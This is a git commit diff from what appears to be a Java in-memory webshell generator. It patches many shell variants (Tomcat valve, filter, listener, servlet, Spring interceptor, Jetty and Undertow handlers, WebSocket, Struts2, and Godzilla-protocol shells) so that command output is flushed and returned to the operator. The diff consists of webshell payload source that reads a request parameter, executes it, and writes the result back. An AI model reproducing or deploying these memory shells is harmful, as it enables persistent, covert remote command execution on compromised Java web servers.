fix: shell connect failed due to empty body

ReaJason · ReaJason · commit 4070546308d8 · 2025-12-12T21:38:33.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
@@ -27,6 +27,8 @@ public boolean equals(Object obj) {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
@@ -7,6 +7,7 @@
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -24,12 +25,9 @@ public ModelAndView handleRequest(HttpServletRequest request, HttpServletRespons
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable e) {
             e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
@@ -5,6 +5,7 @@
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -25,12 +26,9 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
@@ -26,6 +26,8 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return false;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
@@ -43,6 +43,8 @@ public boolean equals(Object obj) {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 if (baseRequest != null) {
                     baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
                 }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
@@ -32,6 +32,8 @@ public void customize(Connector connector, HttpConfiguration channelConfig, Requ
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
@@ -40,6 +40,8 @@ public boolean handle(Object request, Object response) {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
@@ -6,6 +6,7 @@
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -23,14 +24,11 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
             }
             if (p != null) {
                 String param = getParam(p);
-                HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
+                HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable e) {
             e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
@@ -7,6 +7,7 @@
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -30,12 +31,9 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable e) {
             e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
@@ -29,6 +29,7 @@ public String execute() throws Exception {
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
                 response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable ignored) {
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
@@ -32,6 +32,8 @@ public boolean equals(Object obj) {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
@@ -35,7 +35,7 @@ public boolean accept(Request req) {
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
                 outputStream.flush();
-                inputStream.close();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
@@ -26,6 +26,8 @@ public void invoke(Request request, Response response) throws IOException, Servl
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
@@ -6,6 +6,7 @@
 import javax.websocket.Session;
 import java.io.ByteArrayOutputStream;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
     public void onMessage(String cmd) {
         try {
             InputStream inputStream = getInputStream(getParam(cmd));
-            byte[] buf = new byte[8192];
-            int length;
-            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-            while ((length = inputStream.read(buf)) != -1) {
-                outputStream.write(buf, 0, length);
-            }
-            session.getBasicRemote().sendText(outputStream.toString());
+            session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
         } catch (Throwable e) {
             e.printStackTrace();
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java
@@ -51,6 +51,8 @@ public boolean equals(Object obj) {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java
@@ -49,6 +49,8 @@ public ModelAndView handleRequest(HttpServletRequest request, HttpServletRespons
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
@@ -51,6 +51,8 @@ public void doFilter(ServletRequest servletRequest, ServletResponse servletRespo
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java
@@ -50,6 +50,8 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java
@@ -66,6 +66,8 @@ public boolean equals(Object obj) {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                     if (baseRequest != null) {
                         baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java
@@ -53,6 +53,8 @@ public void customize(Connector connector, HttpConfiguration channelConfig, Requ
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java
@@ -57,6 +57,8 @@ public boolean handle(Object request, Object response) {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java
@@ -50,6 +50,8 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
@@ -51,6 +51,8 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java
@@ -47,6 +47,8 @@ public void execute() throws Exception {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java
@@ -56,6 +56,8 @@ public boolean equals(Object obj) {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
@@ -51,6 +51,8 @@ public void invoke(Request request, Response response) throws IOException, Servl
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();

Original file line number	Diff line number	Diff line change
`@@ -27,6 +27,8 @@ public boolean equals(Object obj) {`
`27`	`27`	`InputStream inputStream = getInputStream(param);`
`28`	`28`	`OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);`
`29`	`29`	`outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());`
	`30`	`+ outputStream.flush();`
	`31`	`+ outputStream.close();`
`30`	`32`	`return true;`
`31`	`33`	`}`
`32`	`34`	`} catch (Throwable e) {`
Original file line number	Diff line number	Diff line change
`@@ -26,6 +26,8 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons`
`26`	`26`	`String param = getParam(p);`
`27`	`27`	`InputStream inputStream = getInputStream(param);`
`28`	`28`	`response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());`
	`29`	`+ response.getWriter().flush();`
	`30`	`+ response.getWriter().close();`
`29`	`31`	`return false;`
`30`	`32`	`}`
`31`	`33`	`} catch (Throwable e) {`
Original file line number	Diff line number	Diff line change
`@@ -43,6 +43,8 @@ public boolean equals(Object obj) {`
`43`	`43`	`InputStream inputStream = getInputStream(param);`
`44`	`44`	`OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);`
`45`	`45`	`outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());`
	`46`	`+ outputStream.flush();`
	`47`	`+ outputStream.close();`
`46`	`48`	`if (baseRequest != null) {`
`47`	`49`	`baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);`
`48`	`50`	`}`
Original file line number	Diff line number	Diff line change
`@@ -32,6 +32,8 @@ public void customize(Connector connector, HttpConfiguration channelConfig, Requ`
`32`	`32`	`InputStream inputStream = getInputStream(param);`
`33`	`33`	`OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);`
`34`	`34`	`outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());`
	`35`	`+ outputStream.flush();`
	`36`	`+ outputStream.close();`
`35`	`37`	`invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});`
`36`	`38`	`}`
`37`	`39`	`} catch (Throwable e) {`
Original file line number	Diff line number	Diff line change
`@@ -40,6 +40,8 @@ public boolean handle(Object request, Object response) {`
`40`	`40`	`InputStream inputStream = getInputStream(param);`
`41`	`41`	`OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);`
`42`	`42`	`outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());`
	`43`	`+ outputStream.flush();`
	`44`	`+ outputStream.close();`
`43`	`45`	`return true;`
`44`	`46`	`}`
`45`	`47`	`} catch (Throwable e) {`
Original file line number	Diff line number	Diff line change
`@@ -29,6 +29,7 @@ public String execute() throws Exception {`
`29`	`29`	`InputStream inputStream = getInputStream(param);`
`30`	`30`	`response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());`
`31`	`31`	`response.getWriter().flush();`
	`32`	`+ response.getWriter().close();`
`32`	`33`	`}`
`33`	`34`	`} catch (Throwable ignored) {`
`34`	`35`	`}`